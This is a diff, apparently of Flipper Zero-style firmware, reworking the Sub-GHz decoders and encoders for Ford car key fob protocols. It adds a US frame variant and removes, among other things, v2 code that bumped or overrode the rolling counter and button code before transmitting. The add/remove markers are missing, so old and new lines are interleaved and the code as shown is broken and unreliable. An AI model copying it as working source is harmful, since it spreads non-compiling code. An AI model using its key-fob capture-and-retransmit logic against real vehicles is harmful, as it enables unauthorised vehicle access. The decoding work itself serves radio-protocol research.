instance->generic.btn = k[6];
instance->counter16 = (uint16_t)((((uint16_t)(k[7] & 0x7FU)) << 9) |
(((uint16_t)k[8]) << 1) |
instance->counter16 = (uint16_t)((((uint16_t)(k[7] & 0x7FU)) << 9) | (((uint16_t)k[8]) << 1) |
((uint16_t)(k[9] >> 7)));
instance->generic.cnt = instance->counter16;
@@ -219,10 +205,6 @@ static bool ford_v2_decoder_commit_frame(SubGhzProtocolDecoderFordV2* instance)
return false;
}
/* Register this protocol's button map with the custom_btn system so the
* standard transmitter view can show UP/DOWN/LEFT/RIGHT cycling. */
ford_v2_custom_btn_init(instance->generic.btn);
if(instance->base.callback) {
instance->base.callback(&instance->base, instance->base.context);
}
@@ -240,9 +222,8 @@ static void ford_v2_decoder_sync_enter_data(SubGhzProtocolDecoderFordV2* instanc
instance->decoder.decode_count_bit = FORD_V2_POST_SYNC_DECODE_COUNT_BIT;
}
static bool ford_v2_decoder_sync_feed_event(
SubGhzProtocolDecoderFordV2* instance,
ManchesterEvent event) {
static bool
ford_v2_decoder_sync_feed_event(SubGhzProtocolDecoderFordV2* instance, ManchesterEvent event) {
bool data_bit;
if(!manchester_advance(
@@ -255,7 +236,8 @@ static bool ford_v2_decoder_sync_feed_event(
instance->sync_bit_count++;
}
return instance->sync_bit_count >= FORD_V2_SYNC_BITS && instance->sync_shift == ford_v2_sync_shift16_inv;
return instance->sync_bit_count >= FORD_V2_SYNC_BITS &&
instance->sync_shift == ford_v2_sync_shift16_inv;
}
static void ford_v2_decoder_manchester_feed_event(
@@ -281,8 +263,7 @@ static void ford_v2_decoder_manchester_feed_event(
data_bit = !data_bit;
instance->decoder.decode_data =
(instance->decoder.decode_data << 1) | (data_bit ? 1U : 0U);
instance->decoder.decode_data = (instance->decoder.decode_data << 1) | (data_bit ? 1U : 0U);
instance->decoder.decode_count_bit++;
if((instance->decoder.decode_count_bit & 7U) == 0U) {
@@ -372,7 +353,7 @@ static inline void ford_v2_encoder_add_level(
uint32_t prev = level_duration_get_duration(instance->encoder.upload[idx - 1]);
instance->encoder.upload[idx - 1] = level_duration_make(level, prev + duration);
} else {
furi_check(idx < FORD_V2_ENC_ALLOC_ELEMS);
furi_check(idx < FORD_V2_ENC_UPLOAD_ELEMS);
instance->encoder.upload[idx] = level_duration_make(level, duration);
instance->encoder.size_upload++;
}
@@ -399,65 +380,8 @@ static void ford_v2_encoder_refresh_data_from_raw(SubGhzProtocolEncoderFordV2* i
}
}
static void ford_v2_encoder_set_button_code(
SubGhzProtocolEncoderFordV2* instance,
uint8_t new_code) {
if(!ford_v2_button_is_valid(new_code)) return;
instance->raw_bytes[6] = new_code;
instance->raw_bytes[7] =
(instance->raw_bytes[7] & 0x7FU) | (uint8_t)(ford_v2_uint8_parity(new_code) << 7);
ford_v2_encoder_refresh_data_from_raw(instance);
instance->generic.btn = new_code;
}
static void ford_v2_encoder_set_counter(
SubGhzProtocolEncoderFordV2* instance,
uint16_t cnt) {
cnt &= 0x7FFFU;
instance->raw_bytes[7] =
(instance->raw_bytes[7] & 0x80U) | (uint8_t)((cnt >> 9) & 0x7FU);
instance->raw_bytes[8] = (uint8_t)((cnt >> 1) & 0xFFU);
instance->raw_bytes[9] =
(instance->raw_bytes[9] & 0x7FU) | (uint8_t)((cnt & 1U) << 7);
ford_v2_encoder_refresh_data_from_raw(instance);
instance->generic.cnt = cnt;
}
static void ford_v2_encoder_update_flipper_format(
SubGhzProtocolEncoderFordV2* instance,
FlipperFormat* flipper_format) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_hex(
flipper_format, "Key", instance->raw_bytes, FORD_V2_KEY_BYTE_COUNT);
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(
flipper_format, "Serial", &instance->generic.serial, 1);
uint32_t btn = instance->generic.btn;
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &btn, 1);
uint32_t cnt = instance->generic.cnt;
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &cnt, 1);
uint32_t tail31 = (((uint32_t)(instance->raw_bytes[9] & 0x7FU)) << 24) |
((uint32_t)instance->raw_bytes[10] << 16) |
((uint32_t)instance->raw_bytes[11] << 8) |
(uint32_t)instance->raw_bytes[12];
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Tail31", &tail31, 1);
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_hex(
flipper_format, "TailRaw", &instance->raw_bytes[8], FORD_V2_TAIL_RAW_BYTE_COUNT);
}
static inline void ford_v2_encoder_emit_manchester_bit(
SubGhzProtocolEncoderFordV2* instance,
bool bit) {
static inline void
ford_v2_encoder_emit_manchester_bit(SubGhzProtocolEncoderFordV2* instance, bool bit) {
if(bit) {
ford_v2_encoder_add_level(instance, true, FORD_V2_ENC_TE_SHORT);
ford_v2_encoder_add_level(instance, false, FORD_V2_ENC_TE_SHORT);
@@ -532,46 +456,33 @@ static SubGhzProtocolStatus ford_v2_encoder_deserialize_read_header(
return SubGhzProtocolStatusOk;
}
static SubGhzProtocolStatus ford_v2_encoder_deserialize_validate_and_pack(
SubGhzProtocolEncoderFordV2* instance) {
static SubGhzProtocolStatus
ford_v2_encoder_deserialize_validate_and_pack(SubGhzProtocolEncoderFordV2* instance) {
ford_v2_encoder_rebuild_raw_from_payload(instance);
if(!ford_v2_button_is_valid(instance->raw_bytes[6])) {
return SubGhzProtocolStatusErrorParserOthers;
}
uint16_t cnt = (uint16_t)(
(((uint16_t)(instance->raw_bytes[7] & 0x7FU)) << 9) |
(((uint16_t)instance->raw_bytes[8]) << 1) |
((uint16_t)(instance->raw_bytes[9] >> 7)));
uint32_t override_cnt = 0;
if(subghz_block_generic_global_counter_override_get(&override_cnt)) {
cnt = override_cnt & 0x7FFFU;
} else {
cnt = (cnt + furi_hal_subghz_get_rolling_counter_mult()) & 0x7FFFU;
}
ford_v2_encoder_set_counter(instance, cnt);
ford_v2_encoder_refresh_data_from_raw(instance);
instance->generic.btn = instance->raw_bytes[6];
instance->generic.serial =
((uint32_t)instance->raw_bytes[2] << 24) |
((uint32_t)instance->raw_bytes[3] << 16) |
((uint32_t)instance->raw_bytes[4] << 8) |
(uint32_t)instance->raw_bytes[5];
instance->generic.cnt = cnt;
((uint32_t)instance->raw_bytes[2] << 24) | ((uint32_t)instance->raw_bytes[3] << 16) |
((uint32_t)instance->raw_bytes[4] << 8) | (uint32_t)instance->raw_bytes[5];
instance->generic.cnt = (uint16_t)((((uint16_t)(instance->raw_bytes[7] & 0x7FU)) << 9) |
(((uint16_t)instance->raw_bytes[8]) << 1) |
((uint16_t)(instance->raw_bytes[9] >> 7)));
return SubGhzProtocolStatusOk;
}
static void ford_v2_encoder_deserialize_apply_repeat(SubGhzProtocolEncoderFordV2* instance, FlipperFormat* flipper_format) {
static void ford_v2_encoder_deserialize_apply_repeat(
SubGhzProtocolEncoderFordV2* instance,
FlipperFormat* flipper_format) {
flipper_format_rewind(flipper_format);
uint32_t repeat = FORD_V2_ENCODER_DEFAULT_REPEAT;
if(flipper_format_read_uint32(flipper_format, "Repeat", &repeat, 1)) {
instance->encoder.repeat = repeat;
instance->encoder.repeat = (int32_t)repeat;
}
}
@@ -583,7 +494,7 @@ void* subghz_protocol_encoder_ford_v2_alloc(SubGhzEnvironment* environment) {
instance->base.protocol = &ford_protocol_v2;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = FORD_V2_ENCODER_DEFAULT_REPEAT;
instance->encoder.upload = calloc(FORD_V2_ENC_ALLOC_ELEMS, sizeof(LevelDuration));
instance->encoder.upload = calloc(FORD_V2_ENC_UPLOAD_ELEMS, sizeof(LevelDuration));
furi_check(instance->encoder.upload);
return instance;
@@ -617,25 +528,6 @@ SubGhzProtocolStatus
}
if(ret == SubGhzProtocolStatusOk) {
ford_v2_custom_btn_init(instance->raw_bytes[6]);
uint8_t new_code = 0;
if(subghz_block_generic_global_button_override_get(&new_code)) {
ford_v2_encoder_set_button_code(instance, new_code);
} else {
uint8_t btn_sel = subghz_custom_btn_get();
if(btn_sel != SUBGHZ_CUSTOM_BTN_OK) {
ford_v2_encoder_set_button_code(instance, ford_v2_custom_btn_to_code(btn_sel));
}
}
instance->extra_data = 0;
for(uint8_t i = 0; i < FORD_V2_TAIL_RAW_BYTE_COUNT; i++) {
instance->extra_data =
(instance->extra_data << 8) | (uint64_t)instance->raw_bytes[8U + i];
}
ford_v2_encoder_update_flipper_format(instance, flipper_format);
ford_v2_encoder_deserialize_apply_repeat(instance, flipper_format);
ford_v2_encoder_build_upload(instance);
instance->encoder.is_running = true;
@@ -645,7 +537,6 @@ SubGhzProtocolStatus
return ret;
}
void subghz_protocol_encoder_ford_v2_stop(void* context) {
furi_check(context);
SubGhzProtocolEncoderFordV2* instance = context;
@@ -665,7 +556,7 @@ LevelDuration subghz_protocol_encoder_ford_v2_yield(void* context) {
if(++instance->encoder.front == instance->encoder.size_upload) {
instance->encoder.front = 0U;
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.repeat--;
}
return ret;
@@ -817,17 +708,14 @@ static void ford_v2_decoder_read_tail_raw_if_present(
}
}
SubGhzProtocolStatus subghz_protocol_decoder_ford_v2_deserialize(
void* context,
FlipperFormat* flipper_format) {
SubGhzProtocolStatus
subghz_protocol_decoder_ford_v2_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolDecoderFordV2* instance = context;
SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_ford_v2_const.min_count_bit_for_found);
&instance->generic, flipper_format, subghz_protocol_ford_v2_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
return ret;
@@ -847,25 +735,6 @@ SubGhzProtocolStatus subghz_protocol_decoder_ford_v2_deserialize(
return SubGhzProtocolStatusErrorParserOthers;
}
/* Keep custom_btn in sync when loading from file. */
ford_v2_custom_btn_init(instance->generic.btn);
uint8_t btn_sel = subghz_custom_btn_get();
if(btn_sel != SUBGHZ_CUSTOM_BTN_OK) {
uint8_t new_code = ford_v2_custom_btn_to_code(btn_sel);
if(ford_v2_button_is_valid(new_code)) {
instance->generic.btn = new_code;
instance->raw_bytes[6] = new_code;
instance->raw_bytes[7] = (instance->raw_bytes[7] & 0x7FU) |
(uint8_t)(ford_v2_uint8_parity(new_code) << 7);
instance->generic.data = 0;
for(uint8_t i = 0; i < FORD_V2_KEY_BYTE_COUNT; i++) {
instance->generic.data =
(instance->generic.data << 8) | (uint64_t)instance->raw_bytes[i];
}
}
}
return ret;
}
@@ -931,10 +800,9 @@ const SubGhzProtocolEncoder subghz_protocol_ford_v2_encoder = {
const SubGhzProtocol ford_protocol_v2 = {
.name = FORD_PROTOCOL_V2_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save
| SubGhzProtocolFlag_Send
,
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_ford_v2_decoder,
.encoder = &subghz_protocol_ford_v2_encoder,
};
+352 -127
View File
@@ -1,19 +1,30 @@
#include "ford_v3.h"
#include <furi.h>
#include <lib/toolbox/manchester_decoder.h>
#include "../blocks/const.h"
#include "../blocks/decoder.h"
#include "../blocks/encoder.h"
#include "../blocks/generic.h"
#include "../blocks/math.h"
#include <string.h>
#include <stdlib.h>
#define FORD_V3_TE_SHORT 240U
#define FORD_V3_TE_LONG 480U
#define FORD_V3_TE_DELTA 60U
#define FORD_V3_DATA_BITS 104U
#define FORD_V3_DATA_BYTES 13U
#define FORD_V3_PREAMBLE_MIN 30U
#define FORD_V3_TE_SHORT 240U
#define FORD_V3_TE_LONG 480U
#define FORD_V3_TE_DELTA 60U
#define FORD_V3_CELL_TE_DELTA 120U
#define FORD_V3_DATA_BITS 104U
#define FORD_V3_DATA_BYTES 13U
#define FORD_V3_PREAMBLE_MIN 30U
#define FORD_V3_CELL_CAP 320U
#define FORD_V3_CELL_MIN 200U
#define FORD_V3_CELL_MIN_BITS 100U
#define FORD_V3_FF_VARIANT "Variant"
#define FORD_V3_BTN_LOCK 0x01U
#define FORD_V3_BTN_UNLOCK 0x02U
#define FORD_V3_VARIANT_EU 0U
#define FORD_V3_VARIANT_US 1U
static const SubGhzBlockConst subghz_protocol_ford_v3_const = {
.te_short = FORD_V3_TE_SHORT,
.te_long = FORD_V3_TE_LONG,
@@ -21,6 +32,13 @@ static const SubGhzBlockConst subghz_protocol_ford_v3_const = {
.min_count_bit_for_found = FORD_V3_DATA_BITS,
};
static const SubGhzBlockConst subghz_protocol_ford_v3_cell_const = {
.te_short = FORD_V3_TE_SHORT,
.te_long = FORD_V3_TE_LONG,
.te_delta = FORD_V3_CELL_TE_DELTA,
.min_count_bit_for_found = FORD_V3_DATA_BITS,
};
typedef enum {
FordV3DecoderStepReset = 0,
FordV3DecoderStepPreamble = 1,
@@ -33,21 +51,52 @@ typedef struct SubGhzProtocolDecoderFordV3 {
SubGhzBlockGeneric generic;
ManchesterState manchester_state;
uint8_t raw_bytes[FORD_V3_DATA_BYTES];
uint8_t bit_count;
uint8_t manchester_raw[FORD_V3_DATA_BYTES];
uint8_t manchester_bit_count;
uint16_t preamble_count;
uint8_t cells[FORD_V3_CELL_CAP];
uint16_t cell_count;
uint8_t raw_bytes[FORD_V3_DATA_BYTES];
uint8_t last_raw_bytes[FORD_V3_DATA_BYTES];
bool last_raw_valid;
uint8_t variant;
uint8_t flag;
uint32_t serial;
uint16_t counter;
} SubGhzProtocolDecoderFordV3;
static void ford_v3_reset_data(SubGhzProtocolDecoderFordV3* instance);
static void ford_v3_add_bit(SubGhzProtocolDecoderFordV3* instance, bool bit);
static void ford_v3_reset_manchester(SubGhzProtocolDecoderFordV3* instance);
static void ford_v3_reset_cells(SubGhzProtocolDecoderFordV3* instance);
static void ford_v3_add_manchester_bit(SubGhzProtocolDecoderFordV3* instance, bool bit);
static bool ford_v3_cell_frame_valid(const uint8_t* raw);
static uint8_t ford_v3_variant_from_saved_or_raw(const uint8_t* raw, uint32_t saved_variant);
static void ford_v3_parse_fields(SubGhzProtocolDecoderFordV3* instance);
static void ford_v3_emit_if_ready(SubGhzProtocolDecoderFordV3* instance);
static const char* ford_v3_button_name(uint8_t btn);
static bool ford_v3_commit_frame(
SubGhzProtocolDecoderFordV3* instance,
const uint8_t* raw,
uint8_t variant);
static void ford_v3_manchester_emit_if_ready(SubGhzProtocolDecoderFordV3* instance);
static void ford_v3_cell_process(SubGhzProtocolDecoderFordV3* instance);
static void ford_v3_cell_feed(SubGhzProtocolDecoderFordV3* instance, bool level, uint32_t duration);
static void
ford_v3_manchester_feed(SubGhzProtocolDecoderFordV3* instance, bool level, uint32_t duration);
static const char* ford_v3_button_name(uint8_t btn, uint8_t variant);
static const char* ford_v3_button_name(uint8_t btn, uint8_t variant) {
if(variant == FORD_V3_VARIANT_US) {
switch(btn) {
case FORD_V3_BTN_LOCK:
return "Lock";
case FORD_V3_BTN_UNLOCK:
return "Unlock";
default:
return "?";
}
}
static const char* ford_v3_button_name(uint8_t btn) {
switch(btn) {
case FORD_V3_BTN_LOCK:
return "Lock";
@@ -58,25 +107,62 @@ static const char* ford_v3_button_name(uint8_t btn) {
}
}
static void ford_v3_reset_data(SubGhzProtocolDecoderFordV3* instance) {
memset(instance->raw_bytes, 0, sizeof(instance->raw_bytes));
instance->bit_count = 0;
static bool ford_v3_cell_frame_valid(const uint8_t* raw) {
if(raw[0] != 0xFFU) {
return false;
}
const uint32_t serial = ((uint32_t)raw[1] << 24) | ((uint32_t)raw[2] << 16) |
((uint32_t)raw[3] << 8) | (uint32_t)raw[4];
if(serial == 0U || serial == 0xFFFFFFFFU) {
return false;
}
if(raw[6] != FORD_V3_BTN_LOCK && raw[6] != FORD_V3_BTN_UNLOCK) {
return false;
}
if((raw[5] & 0x80U) == 0U) {
return false;
}
return true;
}
static uint8_t ford_v3_variant_from_saved_or_raw(const uint8_t* raw, uint32_t saved_variant) {
if(saved_variant == FORD_V3_VARIANT_US) {
return FORD_V3_VARIANT_US;
}
if(saved_variant == FORD_V3_VARIANT_EU) {
return FORD_V3_VARIANT_EU;
}
return ford_v3_cell_frame_valid(raw) ? FORD_V3_VARIANT_US : FORD_V3_VARIANT_EU;
}
static void ford_v3_reset_manchester(SubGhzProtocolDecoderFordV3* instance) {
memset(instance->manchester_raw, 0, sizeof(instance->manchester_raw));
instance->manchester_bit_count = 0;
instance->preamble_count = 0;
manchester_advance(
instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL);
}
static void ford_v3_add_bit(SubGhzProtocolDecoderFordV3* instance, bool bit) {
if(instance->bit_count >= FORD_V3_DATA_BITS) {
static void ford_v3_reset_cells(SubGhzProtocolDecoderFordV3* instance) {
instance->cell_count = 0;
}
static void ford_v3_add_manchester_bit(SubGhzProtocolDecoderFordV3* instance, bool bit) {
if(instance->manchester_bit_count >= FORD_V3_DATA_BITS) {
return;
}
const uint8_t byte_index = instance->bit_count / 8U;
const uint8_t bit_in_byte = 7U - (instance->bit_count % 8U);
const uint8_t byte_index = instance->manchester_bit_count / 8U;
const uint8_t bit_in_byte = 7U - (instance->manchester_bit_count % 8U);
if(bit) {
instance->raw_bytes[byte_index] |= (uint8_t)(1U << bit_in_byte);
instance->manchester_raw[byte_index] |= (uint8_t)(1U << bit_in_byte);
}
instance->bit_count++;
instance->manchester_bit_count++;
}
static void ford_v3_parse_fields(SubGhzProtocolDecoderFordV3* instance) {
@@ -84,25 +170,186 @@ static void ford_v3_parse_fields(SubGhzProtocolDecoderFordV3* instance) {
instance->serial = ((uint32_t)b[1] << 24) | ((uint32_t)b[2] << 16) | ((uint32_t)b[3] << 8) |
(uint32_t)b[4];
instance->counter =
(uint16_t)((((uint16_t)(uint8_t)~b[7]) << 8) | (uint8_t)~b[8]);
instance->generic.serial = instance->serial;
instance->generic.btn = (b[6] & 0x01U) ? FORD_V3_BTN_UNLOCK : FORD_V3_BTN_LOCK;
if(instance->variant == FORD_V3_VARIANT_US) {
instance->flag = b[5];
instance->counter = (uint16_t)(((uint16_t)b[7] << 8) | (uint16_t)b[8]);
instance->generic.btn = b[6];
} else {
instance->flag = 0;
instance->counter = (uint16_t)((((uint16_t)(uint8_t)~b[7]) << 8) | (uint8_t)~b[8]);
instance->generic.btn = (b[6] & 0x01U) ? FORD_V3_BTN_UNLOCK : FORD_V3_BTN_LOCK;
}
instance->generic.cnt = instance->counter;
}
static void ford_v3_emit_if_ready(SubGhzProtocolDecoderFordV3* instance) {
if(instance->bit_count < FORD_V3_DATA_BITS) {
return;
static bool ford_v3_commit_frame(
SubGhzProtocolDecoderFordV3* instance,
const uint8_t* raw,
uint8_t variant) {
if(instance->last_raw_valid && memcmp(instance->last_raw_bytes, raw, FORD_V3_DATA_BYTES) == 0) {
return true;
}
memcpy(instance->raw_bytes, raw, FORD_V3_DATA_BYTES);
memcpy(instance->last_raw_bytes, raw, FORD_V3_DATA_BYTES);
instance->last_raw_valid = true;
instance->variant = variant;
instance->generic.data_count_bit = FORD_V3_DATA_BITS;
ford_v3_parse_fields(instance);
if(instance->base.callback) {
instance->base.callback(&instance->base, instance->base.context);
}
return true;
}
static void ford_v3_manchester_emit_if_ready(SubGhzProtocolDecoderFordV3* instance) {
if(instance->manchester_bit_count < FORD_V3_DATA_BITS) {
return;
}
(void)ford_v3_commit_frame(instance, instance->manchester_raw, FORD_V3_VARIANT_EU);
}
static bool ford_v3_cell_decode(const uint8_t* cells, uint16_t cell_count, uint8_t* raw_out) {
for(int phase = 0; phase < 2; phase++) {
uint8_t frame[FORD_V3_DATA_BYTES];
memset(frame, 0, sizeof(frame));
int bit_count = 0;
bool ok = true;
for(int i = phase; (i + 1) < (int)cell_count && bit_count < (int)FORD_V3_DATA_BITS; i += 2) {
const uint8_t first = cells[i];
const uint8_t second = cells[i + 1];
if(first == second) {
ok = false;
break;
}
if(first) {
frame[bit_count >> 3] |= (uint8_t)(1U << (7 - (bit_count & 7)));
}
bit_count++;
}
if(!ok || bit_count < (int)FORD_V3_CELL_MIN_BITS) {
continue;
}
if(!ford_v3_cell_frame_valid(frame)) {
continue;
}
memcpy(raw_out, frame, FORD_V3_DATA_BYTES);
return true;
}
return false;
}
static void ford_v3_cell_process(SubGhzProtocolDecoderFordV3* instance) {
if(instance->cell_count < FORD_V3_CELL_MIN) {
return;
}
uint8_t raw[FORD_V3_DATA_BYTES];
if(!ford_v3_cell_decode(instance->cells, instance->cell_count, raw)) {
return;
}
(void)ford_v3_commit_frame(instance, raw, FORD_V3_VARIANT_US);
}
static void ford_v3_cell_feed(SubGhzProtocolDecoderFordV3* instance, bool level, uint32_t duration) {
if(DURATION_DIFF(duration, subghz_protocol_ford_v3_cell_const.te_short) < subghz_protocol_ford_v3_cell_const.te_delta) {
if(instance->cell_count < FORD_V3_CELL_CAP) {
instance->cells[instance->cell_count++] = level ? 1U : 0U;
}
} else if(DURATION_DIFF(duration, subghz_protocol_ford_v3_cell_const.te_long) < subghz_protocol_ford_v3_cell_const.te_delta) {
if(instance->cell_count + 2U <= FORD_V3_CELL_CAP) {
instance->cells[instance->cell_count++] = level ? 1U : 0U;
instance->cells[instance->cell_count++] = level ? 1U : 0U;
}
} else {
ford_v3_cell_process(instance);
instance->cell_count = 0;
}
}
static void
ford_v3_manchester_feed(SubGhzProtocolDecoderFordV3* instance, bool level, uint32_t duration) {
switch(instance->decoder.parser_step) {
case FordV3DecoderStepReset:
if(DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_short) < subghz_protocol_ford_v3_const.te_delta) {
ford_v3_reset_manchester(instance);
instance->preamble_count = 1U;
instance->decoder.parser_step = FordV3DecoderStepPreamble;
}
break;
case FordV3DecoderStepPreamble:
if(DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_short) < subghz_protocol_ford_v3_const.te_delta) {
instance->preamble_count++;
} else if(
instance->preamble_count >= FORD_V3_PREAMBLE_MIN &&
DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_long) < subghz_protocol_ford_v3_const.te_delta) {
instance->manchester_state = ManchesterStateMid1;
const ManchesterEvent event = level ? ManchesterEventLongHigh : ManchesterEventLongLow;
bool data_bit = false;
const bool valid = manchester_advance(
instance->manchester_state, event, &instance->manchester_state, &data_bit);
if(valid) {
ford_v3_add_manchester_bit(instance, data_bit);
}
instance->decoder.parser_step = FordV3DecoderStepData;
} else {
instance->decoder.parser_step = FordV3DecoderStepReset;
}
break;
case FordV3DecoderStepData:
if(!(DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_short) < subghz_protocol_ford_v3_const.te_delta) &&
!(DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_long) < subghz_protocol_ford_v3_const.te_delta)) {
ford_v3_manchester_emit_if_ready(instance);
instance->decoder.parser_step = FordV3DecoderStepReset;
if(DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_short) < subghz_protocol_ford_v3_const.te_delta) {
ford_v3_reset_manchester(instance);
instance->preamble_count = 1U;
instance->decoder.parser_step = FordV3DecoderStepPreamble;
}
break;
}
ManchesterEvent event;
if(level) {
event = DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_short) < subghz_protocol_ford_v3_const.te_delta ?
ManchesterEventShortHigh :
ManchesterEventLongHigh;
} else {
event = DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_short) < subghz_protocol_ford_v3_const.te_delta ?
ManchesterEventShortLow :
ManchesterEventLongLow;
}
bool data_bit = false;
const bool valid = manchester_advance(
instance->manchester_state, event, &instance->manchester_state, &data_bit);
if(valid) {
ford_v3_add_manchester_bit(instance, data_bit);
if(instance->manchester_bit_count >= FORD_V3_DATA_BITS) {
ford_v3_manchester_emit_if_ready(instance);
instance->decoder.parser_step = FordV3DecoderStepReset;
}
}
break;
}
}
void* subghz_protocol_decoder_ford_v3_alloc(SubGhzEnvironment* environment) {
@@ -117,88 +364,27 @@ void* subghz_protocol_decoder_ford_v3_alloc(SubGhzEnvironment* environment) {
return instance;
}
void subghz_protocol_decoder_ford_v3_free(void* context) {
furi_check(context);
free(context);
}
void subghz_protocol_decoder_ford_v3_reset(void* context) {
furi_check(context);
SubGhzProtocolDecoderFordV3* instance = context;
instance->decoder.parser_step = FordV3DecoderStepReset;
ford_v3_reset_data(instance);
ford_v3_reset_manchester(instance);
ford_v3_reset_cells(instance);
instance->last_raw_valid = false;
}
void subghz_protocol_decoder_ford_v3_feed(void* context, bool level, uint32_t duration) {
furi_check(context);
SubGhzProtocolDecoderFordV3* instance = context;
switch(instance->decoder.parser_step) {
case FordV3DecoderStepReset:
if((DURATION_DIFF(duration, FORD_V3_TE_SHORT) < (int32_t)FORD_V3_TE_DELTA)) {
ford_v3_reset_data(instance);
instance->preamble_count = 1U;
instance->decoder.parser_step = FordV3DecoderStepPreamble;
}
break;
case FordV3DecoderStepPreamble:
if((DURATION_DIFF(duration, FORD_V3_TE_SHORT) < (int32_t)FORD_V3_TE_DELTA)) {
instance->preamble_count++;
} else if(
instance->preamble_count >= FORD_V3_PREAMBLE_MIN &&
(DURATION_DIFF(duration, FORD_V3_TE_LONG) < (int32_t)FORD_V3_TE_DELTA)) {
instance->manchester_state = ManchesterStateMid1;
const ManchesterEvent event =
level ? ManchesterEventLongHigh : ManchesterEventLongLow;
bool data_bit = false;
const bool valid = manchester_advance(
instance->manchester_state, event, &instance->manchester_state, &data_bit);
if(valid) {
ford_v3_add_bit(instance, data_bit);
}
instance->decoder.parser_step = FordV3DecoderStepData;
} else {
instance->decoder.parser_step = FordV3DecoderStepReset;
}
break;
case FordV3DecoderStepData: {
if(!(DURATION_DIFF(duration, FORD_V3_TE_SHORT) < (int32_t)FORD_V3_TE_DELTA) &&
!(DURATION_DIFF(duration, FORD_V3_TE_LONG) < (int32_t)FORD_V3_TE_DELTA)) {
ford_v3_emit_if_ready(instance);
instance->decoder.parser_step = FordV3DecoderStepReset;
if((DURATION_DIFF(duration, FORD_V3_TE_SHORT) < (int32_t)FORD_V3_TE_DELTA)) {
ford_v3_reset_data(instance);
instance->preamble_count = 1U;
instance->decoder.parser_step = FordV3DecoderStepPreamble;
}
break;
}
ManchesterEvent event;
if(level) {
event = (DURATION_DIFF(duration, FORD_V3_TE_SHORT) < (int32_t)FORD_V3_TE_DELTA) ? ManchesterEventShortHigh :
ManchesterEventLongHigh;
} else {
event = (DURATION_DIFF(duration, FORD_V3_TE_SHORT) < (int32_t)FORD_V3_TE_DELTA) ? ManchesterEventShortLow :
ManchesterEventLongLow;
}
bool data_bit = false;
const bool valid = manchester_advance(
instance->manchester_state, event, &instance->manchester_state, &data_bit);
if(valid) {
ford_v3_add_bit(instance, data_bit);
if(instance->bit_count >= FORD_V3_DATA_BITS) {
ford_v3_emit_if_ready(instance);
instance->decoder.parser_step = FordV3DecoderStepReset;
}
}
break;
}
}
ford_v3_cell_feed(instance, level, duration);
ford_v3_manchester_feed(instance, level, duration);
}
uint8_t subghz_protocol_decoder_ford_v3_get_hash_data(void* context) {
@@ -222,14 +408,11 @@ SubGhzProtocolStatus subghz_protocol_decoder_ford_v3_serialize(
SubGhzProtocolDecoderFordV3* instance = context;
instance->generic.data = ((uint64_t)instance->raw_bytes[0] << 56) |
((uint64_t)instance->raw_bytes[1] << 48) |
((uint64_t)instance->raw_bytes[2] << 40) |
((uint64_t)instance->raw_bytes[3] << 32) |
((uint64_t)instance->raw_bytes[4] << 24) |
((uint64_t)instance->raw_bytes[5] << 16) |
((uint64_t)instance->raw_bytes[6] << 8) |
(uint64_t)instance->raw_bytes[7];
instance->generic.data =
((uint64_t)instance->raw_bytes[0] << 56) | ((uint64_t)instance->raw_bytes[1] << 48) |
((uint64_t)instance->raw_bytes[2] << 40) | ((uint64_t)instance->raw_bytes[3] << 32) |
((uint64_t)instance->raw_bytes[4] << 24) | ((uint64_t)instance->raw_bytes[5] << 16) |
((uint64_t)instance->raw_bytes[6] << 8) | (uint64_t)instance->raw_bytes[7];
instance->generic.data_count_bit = FORD_V3_DATA_BITS;
SubGhzProtocolStatus ret =
@@ -240,9 +423,18 @@ SubGhzProtocolStatus subghz_protocol_decoder_ford_v3_serialize(
flipper_format_insert_or_update_hex(
flipper_format, "Raw", instance->raw_bytes, FORD_V3_DATA_BYTES);
do { uint32_t _pp_v = (uint32_t)(instance->generic.serial); flipper_format_rewind(flipper_format); flipper_format_insert_or_update_uint32(flipper_format, "Serial", &_pp_v, 1); } while(0);
do { uint32_t _pp_v = (uint32_t)(instance->generic.btn); flipper_format_rewind(flipper_format); flipper_format_insert_or_update_uint32(flipper_format, "Btn", &_pp_v, 1); } while(0);
do { uint32_t _pp_v = (uint32_t)(instance->counter); flipper_format_rewind(flipper_format); flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &_pp_v, 1); } while(0);
uint32_t serial_u32 = instance->generic.serial;
flipper_format_insert_or_update_uint32(
flipper_format, "Serial", &serial_u32, 1);
uint32_t btn_u32 = instance->generic.btn;
flipper_format_insert_or_update_uint32(
flipper_format, "Btn", &btn_u32, 1);
uint32_t cnt_u32 = instance->counter;
flipper_format_insert_or_update_uint32(
flipper_format, "Cnt", &cnt_u32, 1);
uint32_t var_u32 = instance->variant;
flipper_format_insert_or_update_uint32(
flipper_format, FORD_V3_FF_VARIANT, &var_u32, 1);
}
return ret;
